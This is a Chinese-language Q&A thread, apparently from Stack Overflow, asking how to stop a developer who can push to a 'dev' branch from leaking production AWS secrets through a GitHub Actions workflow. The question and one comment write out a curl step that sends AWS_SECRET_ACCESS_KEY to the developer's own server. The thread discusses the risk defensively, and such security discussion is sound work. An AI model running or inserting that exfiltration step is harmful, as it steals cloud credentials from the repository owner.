【发布时间】:2023-03-31 02:18:02
【问题描述】:
我可能在生产中遗漏了一些关于 Github Actions 的信息,因为如果开发人员可以提交到存储库的某个分支,他们似乎可以获得存储为 Github 机密的生产密钥。
假设我有两个分支“dev”和“prod”。
推送到 prod 分支后,我有 Github 操作 deploy.workflow,它将我的更新部署到 AWS。 Github 操作中使用的凭据(AWS_ACCESS_KEY_ID 和 AWS_SECRET_ACCESS_KEY)存储为 Github 存储库机密。现在一切都很好。
假设我们有一个开发人员无法访问prod 分支。这个开发者现在可以创建一个新的 github 操作,推送到“dev”分支并公开密钥!
动作看起来像这样
on:
push:
branches: [ dev ]
jobs:
expose:
....
- name: Expose secrets
run: curl myserver/key/${{ secrets.AWS_SECRET_ACCESS_KEY }}
查看操作日志,开发人员将能够找到生产密钥!
有什么办法可以防止这种情况发生吗?
编辑:原来秘密是从日志中过滤掉的,但仍然可以通过使用 curl 发送到您的服务器来获取它们。 (代码更新)
【问题讨论】:
-
不,GitHub 不提供这样的功能。但可能会有来自 AWS 的 GitHub 集成。
-
你试过了吗?秘密在日志中进行了编辑,请参阅here。
-
嗨@BenjaminW。谢谢你的答复。我明白了,我错过了那部分,谢谢分享!但是开发人员仍然可以运行操作将秘密发送到他的服务器,例如
curl myserver/key/${{ secrets.AWS_SECRET_ACCESS_KEY }} -
这也是很长一段时间内,fork 的 PR 无法触发工作流的原因之一。
标签: github-actions